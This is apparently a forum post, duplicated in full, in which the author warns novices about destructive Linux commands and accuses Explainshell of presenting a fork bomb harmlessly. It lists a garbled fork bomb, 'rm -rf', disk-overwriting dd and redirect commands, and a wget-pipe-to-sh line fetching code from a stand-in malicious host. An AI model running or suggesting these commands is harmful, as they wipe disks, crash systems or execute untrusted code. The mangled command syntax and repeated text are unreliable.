Explainshell and dangerous commands of Linux
Posted: 2017-12-13 22:40
Hello,
It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:
){:|:&};:
This command works as a "Fork Bomb", it operates defining a function called ':', which is called twice, once in the foreground and other in the background, the process repeats indefinitely until the system crashe
Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:
rm -rf
){:|:&};:
> /dev/sda
mv pasta/diretório /dev/null
wget http://malicious_source -O- | sh
dd if=/dev/random of=/dev/sda
What are all the dangerous Linux commands?
Many novice and experienced Linux users advise to use the command : () {: |: &} ;: in articles and forums?
If yes, please quote all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};:
I ask to you that to inform me about all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};: because I want to avoid all the dangerous Linux commands!
The first command of the list of examples of Explainshell is the command ( ){ :& };: )
Reference: https://explainshell.com/
The list of commands of Explainshell is dangerous, irresponsible and malicious. The first command is a fork bomb and that site misleads people by talking about it as something harmless.
The Internet is filled with such bad stuff. They are traps for the unwary.
It has come to my attention that exist commands dangerous of Linux that you NEVER should to realize, for example:
){:|:&};:
This command works as a "Fork Bomb", it operates defining a function called ':', which is called twice, once in the foreground and other in the background, the process repeats indefinitely until the system crashe
Examples of other commands dangerous of Linux that you NEVER should to realize are the following:
Code:
rm -rf
){:|:&};:
> /dev/sda
mv pasta/diretório /dev/null
wget http://malicious_source -O- | sh
dd if=/dev/random of=/dev/sda
What are all the dangerous Linux commands?
Many novice and experienced Linux users advise to use the command : () {: |: &} ;: in articles and forums?
If yes, please quote all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};:
I ask to you that to inform me about all or part of articles and messages that was posted in forums that advise to use the command: () {: |: &};: because I want to avoid all the dangerous Linux commands!
The first command of the list of examples of Explainshell is the command ( ){ :& };: )
Reference: https://explainshell.com/
The list of commands of Explainshell is dangerous, irresponsible and malicious. The first command is a fork bomb and that site misleads people by talking about it as something harmless.
The Internet is filled with such bad stuff. They are traps for the unwary.